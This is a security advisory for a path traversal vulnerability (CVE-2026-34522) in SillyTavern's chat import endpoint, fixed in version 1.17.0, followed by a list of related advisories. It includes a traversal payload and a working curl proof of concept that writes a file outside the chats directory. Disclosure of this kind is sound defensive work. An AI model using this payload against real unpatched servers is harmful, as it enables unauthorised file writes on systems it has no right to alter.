SillyTavern: path traversal
High8.1CVE-2026-34522 · Published Apr 1, 2026 · updated Apr 6, 2026
### Summary A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`. ### Details `character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization. Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized `character_name` used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Example payload: - `character_name=../../../../tmp/st_poc` This causes the final destination path to escape from `<user>/chats/<avatar>/......
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| sillytavern npm | < 1.17.0 | 1.17.0 |
Details and references
### Summary A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`. ### Details `character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization. Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized `character_name` used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Example payload: - `character_name=../../../../tmp/st_poc` This causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account). ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Prepare payload: ```bash printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl ``` Trigger arbitrary write: ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" \ -F "avatar=@/tmp/poc.jsonl" \ -F "file_type=jsonl" \ -F "avatar_url=a.png" \ -F "character_name=../../../../tmp/st_poc" \ -F "user_name=u" \ http://TARGET:8000/api/chats/import ``` Observed result: - A file is created outside chats directory, for example: `/tmp/st_poc - <timestamp> imported.jsonl` ### Impact - Integrity: attacker can create files in unintended filesystem locations. - Availability: can be used for disk abuse and disruptive file placement. - Can become more severe when chained with other local processing behaviors. ### Resolution The issue was addressed in version 1.17.0
More SillyTavern advisories
All SillyTavern| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 12 | SillyTavern has a Path Traversal issue | Critical9.1 | 1.18.0 |
| May 12 | SillyTavern has Authentication Bypass via SSO Header Injection | Critical9.8 | 1.18.0 |
| May 12 | SillyTavern: insufficient session expiration | High7.5 | 1.18.0 |
| Apr 1 | SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 | Medium5.0 | 1.17.0 |
| Apr 1 | SillyTavern: path traversal | High8.3 | 1.17.0 |
| Apr 1 | SillyTavern: Path Traversal allows file existence oracle | Medium5.3 | 1.17.0 |